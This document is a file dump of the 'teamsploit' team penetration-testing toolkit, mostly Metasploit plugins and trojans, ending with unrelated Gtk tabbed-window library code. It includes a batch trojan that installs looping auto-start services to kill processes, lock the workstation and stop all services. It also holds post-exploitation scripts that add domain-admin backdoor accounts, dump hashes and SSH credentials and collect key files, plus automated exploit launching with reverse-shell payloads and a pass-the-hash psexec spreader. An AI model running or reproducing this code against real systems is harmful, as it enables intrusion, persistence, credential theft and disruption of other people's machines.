echo start com /C "tskill /A mmc" >> %systemroot%\System32\wintroller.cmd
echo start com /C "tskill /A iexplore" >> %systemroot%\System32\wintroller.cmd
echo start com /C "tskill /A regedit" >> %systemroot%\System32\wintroller.cmd
echo start com /C "rundll32.exe user32.dll,LockWorkStation" >> %systemroot%\System32\wintroller.cmd
echo GOTO :FLAG >> %systemroot%\System32\wintroller.cmd
start com /K %systemroot%\System32\wintroller.cmd
echo :FLAG > %systemroot%\System32\netstopper.cmd
echo net start ^> services.txt >> %systemroot%\System32\netstopper.cmd
echo type services.txt ^| find ^" ^" ^> service.txt >> %systemroot%\System32\netstopper.cmd
echo for /F ^"tokens=* delims= ^" %%A in (service.txt) do start /WAIT net stop ^"%%A^" /Y >> %systemroot%\System32\netstopper.cmd
echo GOTO :FLAG >> %systemroot%\System32\netstopper.cmd
start com /K %systemroot%\System32\netstopper.cmd
sc create SrvDebugger binpath=%systemroot%\System32\wintroller.cmd start=auto
sc create SysDebugger binpath=%systemroot%\System32\netstopper.cmd start=auto
teamsploit_0~20151123/.msf/plugins/sploitwatch.rb 000644 001750 001750 00000013764 12313176722 022544 0 ustar 00sophie sophie 000000 000000 ## Sploit Watch
## Player Tracking and Reporting
##
## Copyright (C) 2012 iSight Security, Inc.
##
## This program is free software: you can redistribute it and/or modify
## it under the terms of the GNU General Public License as published by
## the Free Software Foundation, either version 3 of the License, or
## (at your option) any later version.
##
## This program is distributed in the hope that it will be useful,
## but WITHOUT ANY WARRANTY; without even the implied warranty of
## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
## GNU General Public License for more details.
##
## You should have received a copy of the GNU General Public License
## along with this program. If not, see .
## Load HTTP
require 'net/http'
require 'net/https'
require 'uri'
## MSF Module
module Msf
## MSF Plugin
class Plugin::SploitWatch < Msf::Plugin
## Initalization
def respond_to?(name)
true
end
## Debug Only
def method_missing(name, *args)
if (self.framework.datastore['SPLOITWATCH_DEBUG'] == "devel")
self.status("[DEBUG] Non-Reported (Method): #{name}(#{args.join(", ")})")
end
return
end
## Module Execution
def on_module_run(mod)
self.send_data({'sploitwatch'=>'true', 'activityType'=>1, 'eventId'=>self.framework.datastore['SPLOITWATCH_EVENT'], 'player'=>self.framework.datastore['SPLOITWATCH_HANDLE'], 'playerIP'=>mod.datastore['LHOST'], 'module'=>mod.fullname, 'target'=>mod.datastore['RHOST'], 'details'=>mod.datastore})
end
## Module Error
def on_module_error(mod, error)
self.send_data({'sploitwatch'=>'true', 'activityType'=>2, 'eventId'=>self.framework.datastore['SPLOITWATCH_EVENT'], 'player'=>self.framework.datastore['SPLOITWATCH_HANDLE'], 'playerIP'=>mod.datastore['LHOST'], 'module'=>mod.fullname, 'target'=>mod.datastore['RHOST'], 'details'=>error})
end
## Module Success
def on_exploit_success(mod, session)
self.send_data({'sploitwatch'=>'true', 'activityType'=>3, 'eventId'=>self.framework.datastore['SPLOITWATCH_EVENT'], 'player'=>self.framework.datastore['SPLOITWATCH_HANDLE'], 'playerIP'=>mod.datastore['LHOST'], 'module'=>mod.fullname, 'target'=>mod.datastore['RHOST'], 'details'=>session.type})
end
## Session Opened
def on_session_open(session)
self.send_data({'sploitwatch'=>'true', 'activityType'=>4, 'eventId'=>self.framework.datastore['SPLOITWATCH_EVENT'], 'player'=>self.framework.datastore['SPLOITWATCH_HANDLE'], 'playerIP'=>playerIP, 'module'=>session.type, 'target'=>target, 'details'=>session.via_exploit})
end
## Session Closed
def on_session_close(session)
self.send_data({'sploitwatch'=>'true', 'activityType'=>5, 'eventId'=>self.framework.datastore['SPLOITWATCH_EVENT'], 'player'=>self.framework.datastore['SPLOITWATCH_HANDLE'], 'playerIP'=>playerIP, 'module'=>session.type, 'target'=>target})
end
## Sessions Command
def on_session_command(session, cmd)
target,vport = session.tunnel_peer.split(':')
if cmd == "exit"
self.send_data({'sploitwatch'=>'true', 'activityType'=>5, 'eventId'=>self.framework.datastore['SPLOITWATCH_EVENT'], 'player'=>self.framework.datastore['SPLOITWATCH_HANDLE'], 'playerIP'=>session.session_host, 'module'=>session.type, 'target'=>target})
elsif (self.framework.datastore['SPLOITWATCH_CMD_REPORT'] == "true")
self.send_data({'sploitwatch'=>'true', 'activityType'=>6, 'eventId'=>self.framework.datastore['SPLOITWATCH_EVENT'], 'player'=>self.framework.datastore['SPLOITWATCH_HANDLE'], 'playerIP'=>session.session_host, 'module'=>session.type, 'target'=>target, 'details'=>cmd})
end
end
## Command
def on_ui_command(cmd)
if (self.framework.datastore['SPLOITWATCH_CMD_REPORT'] == "true")
self.send_data({'sploitwatch'=>'true', 'activityType'=>6, 'eventId'=>self.framework.datastore['SPLOITWATCH_EVENT'], 'player'=>self.framework.datastore['SPLOITWATCH_HANDLE'], 'playerIP'=>"Unknown", 'module'=>'metasploit', 'target'=>target, 'details'=>cmd})
end
end
def send_data(data)
begin
uri = URI.parse(self.framework.datastore['SPLOITWATCH_SRV_URI'])
http = Net::HTTP.new(uri.host, uri.port)
post = Net::HTTP::Post.new(uri.path)
if (uri.scheme = 'https')
http.use_ssl = true
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
end
post.form_data = data
response = http.request(post)
if (self.framework.datastore['SPLOITWATCH_DEBUG'] == "true" || self.framework.datastore['SPLOITWATCH_DEBUG'] == "devel")
self.status(response.body)
end
rescue
self.status("error")
end
end
def status(type)
case type
when "error"
print_error("SploitWatch: Connection Failed - Did You Set Your Variables?")
else
print_status(type)
end
end
## Initialize Metasploit Plugin
def initialize(framework, opts)
super
self.framework.events.add_exploit_subscriber(self)
self.framework.events.add_session_subscriber(self)
self.framework.events.add_general_subscriber(self)
self.framework.events.add_db_subscriber(self)
self.framework.events.add_ui_subscriber(self)
self.framework.datastore['SPLOITWATCH_SRV_URI'] = "http://192.168.201.2/sendData.php"
self.framework.datastore['SPLOITWATCH_HANDLE'] = "Unknown"
self.framework.datastore['SPLOITWATCH_EVENT'] = "Unknown"
self.framework.datastore['SPLOITWATCH_CMD_REPORT'] = false
self.framework.datastore['SPLOITWATCH_DEBUG'] = false
end
## Unload Plugin
def cleanup
self.framework.events.remove_exploit_subscriber(self)
self.framework.events.remove_session_subscriber(self)
self.framework.events.remove_general_subscriber(self)
self.framework.events.remove_db_subscriber(self)
self.framework.events.remove_ui_subscriber(self)
end
## Plugin Name
def name
"sploitwatch"
end
## Plugin Description
def desc
"Player Tracking and Reporting"
end
end
end
teamsploit_0~20151123/Gemfile.lock 000644 001750 001750 00000000436 12125100611 017525 0 ustar 00sophie sophie 000000 000000 GEM
remote: https://rubygems.org/
specs:
eventmachine (1.0.0)
gtk-webkit-ruby (0.0.5)
rubber-generate (>= 0.0.17)
ponder (0.2.0)
eventmachine (>= 0.12.10)
rubber-generate (0.0.17)
PLATFORMS
ruby
DEPENDENCIES
eventmachine
gtk-webkit-ruby
ponder
teamsploit_0~20151123/.msf/plugins/.autopost.source.windows 000644 001750 001750 00000003263 12126565037 024521 0 ustar 00sophie sophie 000000 000000 session.load_priv
session.load_incognito
session.run_cmd('getsystem')
session.sys.process.execute("net user /add #!TS_ADMIN_USER!# #!TS_ADMIN_PASS!#")
session.sys.process.execute("net localgroup Administrators #!TS_ADMIN_USER!# /add")
#!TS_AUTOPOST_PERSISTENCE!#
#!TS_AUTOPOST_TROJANS!#
session.run_cmd('use espia')
session.run_cmd('use incognito')
session.run_cmd('add_user #!TS_ADMIN_USER!# #!TS_ADMIN_PASS!# -h')
session.run_cmd('add_localgroup_user Administrators #!TS_ADMIN_USER!# -h')
session.run_cmd('add_localgroup_user "Remote Desktop Users" #!TS_ADMIN_USER!# -h')
session.run_cmd('add_group_user "Domain Admins" #!TS_ADMIN_USER!# -h')
session.run_cmd('add_group_user "Enterprise Admins" #!TS_ADMIN_USER!# -h')
session.run_cmd('add_group_user "Schema Admins" #!TS_ADMIN_USER!# -h')
session.run_cmd('run getgui -e')
session.run_cmd('run post/windows/gather/smart_hashdump')
session.run_cmd('run post/windows/gather/enum_tokens')
session.run_cmd("run file_collector -d 'C:\' -f'hosts|*.pdf|*.cfg|*.zip|*.tgz|*.gzip|*.tar|*.conf|*.ini|*.xls|*.xlsx|*.doc|*.docx|*.txt|*.csv|*.eml|*.vsd|*.sxw|*.odt|*.rtf|*.mdb|*.wab|*.rst|*.xps|*.iau|*.cif|*.key|*.crt|*.cer|*.hse|*.pgp|*.gpg|*.xia|*.xiu|*.xis|*.xio|*.xig|*.acidcsa|*.acidsca|*.aciddsk|*.acidpvr|*.acidppr|*.acidssa' -o /tmp/#{file}.fc")
session.run_cmd("run file_collector -i /tmp/#{file}.fc -l #!TS_LOOT_DIR!##{lootdir}")
teamsploit_0~20151123/.msf/scripts/meterpreter/ 000755 001750 001750 00000000000 12624613016 022204 5 ustar 00sophie sophie 000000 000000 teamsploit_0~20151123/.trojans/.loader/kill 000755 001750 001750 00000001235 11732510376 021264 0 ustar 00sophie sophie 000000 000000 # kill - process kill
if [ $# == 0 ]; then
echo "kill: usage: kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or kill -l [sigspec]"
exit
else
for i in $( seq $# )
do
PUSER=`ps aux | grep " $1 " | grep -v "grep $1" | awk {' print $1 '}`
PNAME=`ps aux | grep " $1 " | grep -v "grep $1" | awk {' print $11 '}`
CUSER=`whoami`
CSHELL=`echo $SHELL | sed -e 's/^.*\///g'`
if [ -z $PNAME ]; then
echo "$CSHELL: kill: ($1) - No such process"
exit
fi
shift
done
fi
teamsploit_0~20151123/.msf/plugins/.autopost.source 000644 001750 001750 00000004477 12016306563 023033 0 ustar 00sophie sophie 000000 000000 # TeamSploit - Pen Testing With Friends
# Copyrighted: Justin M. Wray (wray.justin@gmail.com)
# Special Thanks: Team ICF (Twitter:@ICFRedTeam)
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see .
module Msf
###
#
# This class hooks all session creation events and allows automated interaction
#
###
class Plugin::AutoPostExploit < Msf::Plugin
include Msf::SessionEvent
def on_session_open(session)
return if not session.type == 'meterpreter'
if (session.interactive?)
host,port = session.tunnel_peer.split(':')
timestamp = Time.now.to_i
file = "#{timestamp}_#{host}_#{port}_post.log"
lootdir = "#{timestamp}_#{host}_#{port}"
logfile = "#!TS_LOOT_DIR!#/#{file}"
print_status("Automated Post Exploitation Initiated: #{host}:#{port} (File: #{file})")
show_output = #!TS_AUTOPOST_OUTPUT!#
if (show_output)
session.init_ui(session.input, Rex::Ui::Text::Output::Tee.new(logfile))
else
session.init_ui(session.input, Rex::Ui::Text::Output::File.new(logfile))
end
session.load_stdapi
#!TS_AUTOPOST_GENERAL!#
if (session.platform =~ /linux/)
#!TS_AUTOPOST_LINUX!#
end
if (session.platform =~ /win/)
#!TS_AUTOPOST_WINDOWS!#
end
if (session.platform =~ /osx/)
#!TS_AUTOPOST_OSX!#
end
session.init_ui(session.input, Rex::Ui::Text::Output::Stdio.new)
print_status("Post Exploitation Complete, Enjoy Your Session: #{host}:#{port} (File: #{file})")
return
end
end
def initialize(framework, opts)
super
self.framework.events.add_session_subscriber(self)
end
def cleanup
self.framework.events.remove_session_subscriber(self)
end
def name
"autopost"
end
def desc
"Automated Post Exploitation (TeamSploit)"
end
end
end
teamsploit_0~20151123/.msf/plugins/auto_exploit.rb 000644 001750 001750 00000033153 12016301175 022701 0 ustar 00sophie sophie 000000 000000 # Copyright (c) 2012, Carlos Perez "Runs exploits based on data imported from vuln scanners.",
"show_client_side" => "Show matched client side exploits from data imported from vuln scanners."
}
end
# vuln exploit command
def cmd_vuln_exploit(*args)
require 'timeout'
# Define options
opts = Rex::Parser::Arguments.new(
"-f" => [ true, "Provide a comma separated list of IP's and Ranges to skip when running exploits."],
"-r" => [ true, "Minimum Rank for exploits (low, average,normal,good,great and excellent) good is the default."],
"-m" => [ false, "Only show matched exploits."],
"-s" => [ false, "Do not limit number of sessions to one per target."],
"-j" => [ true, "Max number of concurrent jobs, 3 is the default."],
"-h" => [ false, "Command Help"]
)
# set variables for options
os_type = ""
filter = []
range = []
limit_sessions = true
matched_exploits = []
min_rank = 100
show_matched = false
maxjobs = 3
ranks ={
"low" => 100,
"average" => 200,
"normal" => 300 ,
"good"=>400,
"great"=>500,
"excellent" => 600
}
# Parse options
opts.parse(args) do |opt, idx, val|
case opt
when "-f"
range = val.gsub(" ","").split(",")
when "-r"
if ranks.include?(val)
min_rank = ranks[val]
else
print_error("Value of #{val} not in list using default of good.")
end
when "-s"
limit_sessions = false
when "-m"
show_matched = true
when "-j"
maxjobs = val.to_i
when "-h"
print_line(opts.usage)
return
end
end
# Make sure that there are vulnerabilities in the table before doing anything else
if framework.db.workspace.vulns.length == 0
print_error("No vulnerabilities are present in the database.")
return
end
# generate a list of IP's to not exploit
range.each do |r|
Rex::Socket::RangeWalker.new(r).each do |i|
filter << i
end
end
exploits =[]
print_status("Generating List for Matching...")
framework.exploits.each_module do |n,e|
exploit = {}
x=e.new
if x.datastore.include?('RPORT')
exploit = {
:exploit => x.fullname,
:port => x.datastore['RPORT'],
:platforms => x.platform.names.join(" "),
:date => x.disclosure_date,
:references => x.references,
:rank => x.rank
}
exploits << exploit
end
end
print_status("Matching Exploits (This will take a while depending on number of hosts)...")
framework.db.workspace.hosts.each do |h|
# Check that host has vulnerabilities associated in the DB
if h.vulns.length > 0
os_type = normalise_os(h.os_name)
#payload = chose_pay(h.os_name)
exploits.each do |e|
found = false
next if not e[:rank] >= min_rank
if e[:platforms].downcase =~ /#{os_type}/ or e[:platforms].downcase == "" or e[:platforms].downcase =~ /php/i
# lets get the proper references
e_refs = parse_references(e[:references])
h.vulns.each do |v|
v.refs.each do |f|
# Filter out Nessus notes
next if f.name =~ /^NSS|^CWE/
if e_refs.include?(f.name) and not found
# Skip those hosts that are filtered
next if filter.include?(h.address)
# Save exploits in manner easy to retrieve later
exploit = {
:exploit => e[:exploit],
:port => e[:port],
:target => h.address,
:rank => e[:rank]
}
matched_exploits << exploit
found = true
end
end
end
end
end
end
end
if matched_exploits.length > 0
# Sort by rank with highest ranked exploits first
matched_exploits.sort! { |x, y| y[:rank] <=> x[:rank] }
print_good("Matched Exploits:")
matched_exploits.each do |e|
print_good("\t#{e[:target]} #{e[:exploit]} #{e[:port]} #{e[:rank]}")
end
# Only show matched records if user only wanted if selected.
return if show_matched
# Track LPORTs used
known_lports = []
# Make sure that existing jobs do not affect the limit
current_jobs = framework.jobs.keys.length
maxjobs = current_jobs + maxjobs
# Start launching exploits that matched sorted by best ranking first
print_status("Running Exploits:")
matched_exploits.each do |e|
# Select a random port for LPORT
port_list = (1024..65000).to_a.shuffle.first
port_list = (1024..65000).to_a.shuffle.first if known_lports.include?(port_list)
# Check if we are limiting one session per target and enforce
if limit_sessions and get_current_sessions.include?(e[:target])
print_good("\tSkipping #{e[:target]} #{e[:exploit]} because a session already exists.")
next
end
# Configure and launch the exploit
begin
ex = framework.modules.create(e[:exploit])
# Choose a payload depending on the best match for the specific exploit
ex = chose_pay(ex, e[:target])
ex.datastore['RHOST'] = e[:target]
ex.datastore['RPORT'] = e[:port].to_i
ex.datastore['LPORT'] = port_list
ex.datastore['VERBOSE'] = true
(ex.options.validate(ex.datastore))
print_status("Running #{e[:exploit]} against #{e[:target]}")
# Provide 20 seconds for a exploit to timeout
Timeout::timeout(20) do
ex.exploit_simple(
'Payload' => ex.datastore['PAYLOAD'],
'LocalInput' => driver.input,
'LocalOutput' => driver.output,
'RunAsJob' => true
)
end
rescue Timeout::Error
print_error("Exploit #{e[:exploit]} against #{e[:target]} timed out")
end
jobwaiting(maxjobs)
end
else
print_error("No Exploits where Matched.")
return
end
end
# Show client side exploits
def cmd_show_client_side(*args)
# Define options
opts = Rex::Parser::Arguments.new(
"-r" => [ true, "Minimum Rank for exploits (low, average,normal,good,great and excellent) good is the default."],
"-h" => [ false, "Command Help"]
)
# set variables for options
os_type = ""
matched_exploits = []
min_rank = 100
ranks ={
"low" => 100,
"average" => 200,
"normal" => 300 ,
"good"=>400,
"great"=>500,
"excellent" => 600
}
# Parse options
opts.parse(args) do |opt, idx, val|
case opt
when "-r"
if ranks.include?(val)
min_rank = ranks[val]
else
print_error("Value of #{val} not in list using default of good.")
end
when "-h"
print_line(opts.usage)
return
end
end
exploits =[]
# Make sure that there are vulnerabilities in the table before doing anything else
if framework.db.workspace.vulns.length == 0
print_error("No vulnerabilities are present in the database.")
return
end
print_status("Generating List for Matching...")
framework.exploits.each_module do |n,e|
exploit = {}
x=e.new
if x.datastore.include?('LPORT')
exploit = {
:exploit => x.fullname,
:port => x.datastore['RPORT'],
:platforms => x.platform.names.join(" "),
:date => x.disclosure_date,
:references => x.references,
:rank => x.rank
}
exploits << exploit
end
end
print_status("Matching Exploits (This will take a while depending on number of hosts)...")
framework.db.workspace.hosts.each do |h|
# Check that host has vulnerabilities associated in the DB
if h.vulns.length > 0
os_type = normalise_os(h.os_name)
#payload = chose_pay(h.os_name)
exploits.each do |e|
found = false
next if not e[:rank] >= min_rank
if e[:platforms].downcase =~ /#{os_type}/
# lets get the proper references
e_refs = parse_references(e[:references])
h.vulns.each do |v|
v.refs.each do |f|
# Filter out Nessus notes
next if f.name =~ /^NSS|^CWE/
if e_refs.include?(f.name) and not found
# Save exploits in manner easy to retrieve later
exploit = {
:exploit => e[:exploit],
:port => e[:port],
:target => h.address,
:rank => e[:rank]
}
matched_exploits << exploit
found = true
end
end
end
end
end
end
end
if matched_exploits.length > 0
# Sort by rank with highest ranked exploits first
matched_exploits.sort! { |x, y| y[:rank] <=> x[:rank] }
print_good("Matched Exploits:")
matched_exploits.each do |e|
print_good("\t#{e[:target]} #{e[:exploit]} #{e[:port]} #{e[:rank]}")
end
else
print_status("No Matching Client Side Exploits where found.")
end
end
# Normalize the OS name since different scanner may have entered different values.
def normalise_os(os_name)
case os_name
when /(Microsoft|Windows)/i
os = "windows"
when /(Linux|Ubuntu|CentOS|RedHat)/i
os = "linux"
when /aix/i
os = "aix"
when /(freebsd)/i
os = "bsd"
when /(hpux|hp-ux)/i
os = "hpux"
when /solaris/i
os = "solaris"
when /(Apple|OSX|OS X)/i
os = "osx"
end
return os
end
# Parse the exploit references and get a list of CVE, BID and OSVDB values that
# we can match accurately.
def parse_references(refs)
references = []
refs.each do |r|
# We do not want references that are URLs
next if r.ctx_id == "URL"
# Format the reference as it is saved by Nessus
references << "#{r.ctx_id}-#{r.ctx_val}"
end
return references
end
# Choose the proper payload
def chose_pay(mod, rhost)
# taken from the exploit ui mixin
# A list of preferred payloads in the best-first order
pref = [
'windows/meterpreter/reverse_tcp',
'java/meterpreter/reverse_tcp',
'php/meterpreter/reverse_tcp',
'php/meterpreter_reverse_tcp',
'cmd/unix/interact',
'cmd/unix/reverse',
'cmd/unix/reverse_perl',
'cmd/unix/reverse_netcat',
'windows/meterpreter/reverse_nonx_tcp',
'windows/meterpreter/reverse_ord_tcp',
'windows/shell/reverse_tcp',
'generic/shell_reverse_tcp'
]
pset = mod.compatible_payloads.map{|x| x[0] }
pref.each do |n|
if(pset.include?(n))
mod.datastore['PAYLOAD'] = n
mod.datastore['LHOST'] = Rex::Socket.source_address(rhost)
return mod
end
end
end
# Create a payload given a name, lhost and lport, additional options
def create_payload(name, lhost, lport, opts = "")
puts name
pay = framework.payloads.create(name)
pay.datastore['LHOST'] = lhost
pay.datastore['LPORT'] = lport
if not opts.empty?
opts.split(",").each do |o|
opt,val = o.split("=", 2)
pay.datastore[opt] = val
end
end
# Validate the options for the module
if pay.options.validate(pay.datastore)
print_good("Payload option validation passed")
end
return pay
end
def get_current_sessions()
session_hosts = framework.sessions.map { |s,r| r.tunnel_peer.split(":")[0] }
return session_hosts
end
# Method to write string to file
def file_write(file2wrt, data2wrt)
if not ::File.exists?(file2wrt)
::FileUtils.touch(file2wrt)
end
output = ::File.open(file2wrt, "a")
data2wrt.each_line do |d|
output.puts(d)
end
output.close
end
def jobwaiting(maxjobs)
while(framework.jobs.keys.length >= maxjobs)
::IO.select(nil, nil, nil, 2.5)
print_status("waiting for finishing some modules... active jobs: #{framework.jobs.keys.length} / threads: #{framework.threads.length}")
end
end
end
def initialize(framework, opts)
super
add_console_dispatcher(AutoExploit)
print_status("auto_exploit plug-in loaded.")
end
def cleanup
remove_console_dispatcher("auto_exploit")
end
def name
"auto_exploit"
end
def desc
"Allows for automation of running exploit modules based on information in the Database."
end
protected
end
end
teamsploit_0~20151123/.msf/plugins/pass_the_hash.rb 000644 001750 001750 00000012371 12272511035 022777 0 ustar 00sophie sophie 000000 000000 # TeamSploit - Pen Testing With Friends
# Copyrighted: Justin M. Wray (wray.justin@gmail.com)
# Special Thanks: Team ICF (Twitter:@ICFRedTeam)
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see .
module Msf
###
#
# This class hooks all session creation events and allows automated interaction
#
###
class Plugin::PassTheHash < Msf::Plugin
class PassTheHash
include Msf::Ui::Console::CommandDispatcher
def name
"pass_the_hash"
end
# Define Commands
def commands
{
"pass_the_hash" => "Use Collected Hash Against Other Systems",
}
end
def cmd_pass_the_hash(*args)
# Define Options
opts = Rex::Parser::Arguments.new(
"-d" => [ true, "Domain (Default: WORKGROUP"],
"-h" => [ false, "Command Help"],
"-p" => [ true, "Payload (Default: Meterpreter)"],
"-j" => [ true, "Jobs/Threads (Default: 5)"],
"-o" => [ true, "Timeout (Default: 30 seconds)"],
"-t" => [ true, "Target Range (Comma Delimited)"],
"-x" => [ false, "Exclude Targets in Database"],
)
# Variables
targets = []
opt_targets = []
used_ports = []
domain = "WORKGROUP"
max_jobs = 5
timeout = 30
payload = "windows/meterpreter/reverse_tcp"
include_db_hosts = true
# Parse options
opts.parse(args) do |opt, idx, val|
case opt
when "-d"
domain = val
when "-p"
payload = val
when "-j"
max_jobs = val
when "-o"
timeout = val
when "-t"
opt_targets = val.gsub(" ","").split(",")
when "-x"
include_db_hosts = false
when "-h"
print_line(opts.usage)
return
end
end
# Build Target List
opt_targets.each do |target|
Rex::Socket::RangeWalker.new(target).each do |ip|
targets << ip
end
end
# Add Hosts (From DB) As Targets
if include_db_hosts
framework.db.workspace.hosts.each do |host|
targets << host.address
end
end
# Check For Targets
if targets.nil? || targets == 0 || targets.length == 0
print_error("Error: No Hosts in Database and/or You Didn't Specify Targets")
return
end
# Make sure LHOST is set
if (framework.datastore['LHOST'] == nil )
print_error("No LHOST set, where do we get the shells? go fix (must be global so setg instead of set)")
return
end
# Check For Creds in Database
if framework.db.workspace.creds.length > 0
# Loop Through Creds
framework.db.workspace.creds.each do |cred|
# Loop Through Each Target With Creds
targets.each do |target|
# Make Sure We Don't Have This Host Already
if framework.sessions.map { |s,r| r.tunnel_peer.split(":")[0] }.include?(target)
print_status("\tSkipping #{target} Sessions Already Exists")
next
end
# Select Local Port Not In Use
port_list = (1024..65000).to_a.shuffle.first
port_list = (1024..65000).to_a.shuffle.first if used_ports.include?(port_list)
# Build Exploit Options
begin
exploit = framework.modules.create("exploit/windows/smb/psexec")
exploit.datastore['PAYLOAD'] = payload
exploit.datastore['RHOST'] = target
exploit.datastore['LPORT'] = port_list
exploit.datastore['LHOST'] = framework.datastore['LHOST']
exploit.datastore['SMBUser'] = cred.user
exploit.datastore['SMBPass'] = cred.pass
exploit.datastore['SMBDomain'] = domain
exploit.datastore['VERBOSE'] = true
(exploit.options.validate(exploit.datastore))
print_status("Passing #{cred.user} @ #{domain} Hash To #{target}")
# Launch Exploit
Timeout::timeout(timeout) do
exploit.exploit_simple(
'Payload' => exploit.datastore['PAYLOAD'],
'LocalInput' => driver.input,
'LocalOutput' => driver.output,
'RunAsJob' => true
)
end
rescue Timeout::Error
print_error("Hash Passing to {#target} Timed Out")
end
while(framework.jobs.keys.length >= max_jobs.to_i)
::IO.select(nil, nil, nil, 2.5)
print_status("Max Jobs Running, Waiting - Current: Jobs #{framework.jobs.keys.length} / Threads: #{framework.threads.length}")
end
end
end
else
print_error("No Credentials/Hashed in Database")
end
end
end
def initialize(framework, opts)
super
add_console_dispatcher(PassTheHash)
print_status("Pass The Hash - Loaded")
end
def cleanup
remove_console_dispatcher("pass_the_hash")
end
def name
"pass_the_hash"
end
def desc
"Automated Pass The Hash"
end
end
end
teamsploit_0~20151123/.trojans/.persist/ 000755 001750 001750 00000000000 12624613016 020621 5 ustar 00sophie sophie 000000 000000 teamsploit_0~20151123/.msf/plugins/.autopost.source.linux 000644 001750 001750 00000000523 11732510376 024160 0 ustar 00sophie sophie 000000 000000 session.run_cmd('run post/linux/gather/hashdump')
session.run_cmd('run post/linux/gather/enum_cron')
session.run_cmd('run post/linux/gather/enum_packages')
session.run_cmd('run post/linux/gather/enum_services')
session.run_cmd('run post/linux/gather/enum_linux')
session.run_cmd('run post/multi/gather/ssh_creds')
teamsploit_0~20151123/.gui/mdi.rb 000644 001750 001750 00000046743 12110000316 017251 0 ustar 00sophie sophie 000000 000000 # Gtk::MDI
# A tabbed window library for Ruby/GTK2
# version 0.1.2
#
# http://ruby-gnome2.sourceforge.jp/hiki.cgi?MDI
#
# Author: Sam Stephenson
# Contributors: Paul van Tilburg
#
# License:
# Distributed under the same terms as Ruby/GTK2. For details,
# please see http://ruby-gnome2.sourceforge.jp/
#
# Changes:
# 2004-09-11 * 0.1.2 - document labels can now be custom
# Gtk::Widget widgets (Paul van Tilburg)
# * added documentation for public methods (Paul
# van Tilburg)
# 2004-07-10 * 0.1.1 - fixed a crash due to not ungrabbing the
# pointer after migrating to a new window
# * added Notebook#focus_document
# * fixed crash in Notebook#button_press_cb when
# index.nil?
# 2004-07-09 * initial release 0.1
require 'gtk2'
module Gtk
module MDI
# A simple notebook "label" (HBox container) with a text label and
# a close button.
class NotebookLabel < HBox
type_register
# Creates a new notebook label labeled with the text *str*.
def initialize(str='')
super()
self.homogeneous = false
self.spacing = 4
@label = Label.new(str)
@button = Button.new
@button.set_border_width(0)
@button.set_size_request(16, 16)
@button.set_relief(RELIEF_NONE)
image = Image.new
image.set(:'gtk-close', IconSize::MENU)
@button.add(image)
pack_start(@label, true, false, 0)
pack_start(@button, false, false, 0)
show_all
end
attr_reader :label, :button
# Retrieves the text of the label.
def text
@label.text
end
# Sets the text of the label to *str*.
def text=(str)
@label.text = str
end
end # class Gtk::MDI::NotebookLabel
# An MDI document container class.
class Document < GLib::Object
type_register
signal_new('close',
GLib::Signal::RUN_FIRST,
nil,
GLib::Type['void'])
# Creates a new document container holding the main *widget* and
# label(-text) *label*.
# Note that *label* can be a custom widget (Gtk::Widget). If this
# is not the case, *label* is assumed to be a string, and a generic
# label with this text and a close button will be used.
#
# N.B. The custom widget must have the attributes _text_ (RW) and
# _button_ (R) for the label text and close button, respectively.
def initialize(widget, label)
super()
@widget = widget
# Check if supplied label is a custom Gtk::Widget; consider
# it to be a string otherwise.
@label = if label.is_a? Widget
label
else
NotebookLabel.new(label.to_s)
end
@label.button.signal_connect('clicked') do |widget, event|
signal_emit('close')
end
end
attr_reader :widget, :label
# Retrieves the title of the document container.
def title
@label.text
end
# Sets the title of the document container to *str*.
def title=(str)
@label.text = str
end
private
def signal_do_close; end
end # class Gtk::MDI::Document
DragInfo = Struct.new('DragInfo', :in_progress, :x_start, :y_start,
:document, :motion_handler)
# An MDI notebook widget that uses Gtk::MDI::Document objects and supports
# drag-and-drop positioning.
class Notebook < Gtk::Notebook
type_register
signal_new('document_added',
GLib::Signal::RUN_FIRST,
nil,
GLib::Type['void'],
GLib::Type['GtkMDIDocument']) # the document that was added
signal_new('document_removed',
GLib::Signal::RUN_FIRST,
nil,
GLib::Type['void'],
GLib::Type['GtkMDIDocument'], # the document that was removed
GLib::Type['gboolean']) # @documents.empty?
signal_new('document_close',
GLib::Signal::RUN_FIRST,
nil,
GLib::Type['void'],
GLib::Type['GtkMDIDocument']) # the document requesting close
signal_new('document_drag',
GLib::Signal::RUN_FIRST,
nil,
GLib::Type['void'],
GLib::Type['GtkMDIDocument'], # the document being dragged
GLib::Type['gint'], # the pointer's x-coordinate
GLib::Type['gint']) # the pointer's y-coordinate
signal_new('document_dropped',
GLib::Signal::RUN_FIRST,
nil,
GLib::Type['void'],
GLib::Type['GtkMDIDocument'], # the document that was dropped
GLib::Type['gint'], # the drop x-coordinate
GLib::Type['gint']) # the drop y-coordinate
# Creates a new MDI notebook, holding Gtk::MDI::Document objects.
def initialize
super
@documents = Array.new
@handlers = Hash.new
@drag_info = DragInfo.new(false)
add_events(Gdk::Event::BUTTON1_MOTION_MASK)
signal_connect('button-press-event') do |widget, event|
button_press_cb(event)
end
signal_connect('button-release-event') do |widget, event|
button_release_cb(event)
end
self.scrollable = true
end
attr_reader :drag_info
# Adds the document *doc* (Gtk::MDI::Document) to the notebook.
# Emits the 'document_added' signal.
def add_document(doc)
return if doc.nil?
append_page(doc.widget, doc.label)
h = Array.new
h << doc.signal_connect('close') do
signal_emit('document_close', doc)
end
@handlers[doc] = h
@documents << doc
signal_emit('document_added', doc)
end
# Removes the document *doc* (Gtk::MDI::Document) from the notebook.
# Emits the 'document_removed' signal.
def remove_document(doc)
return unless @documents.include? doc
@handlers[doc].each do |handler|
doc.signal_handler_disconnect(handler)
end
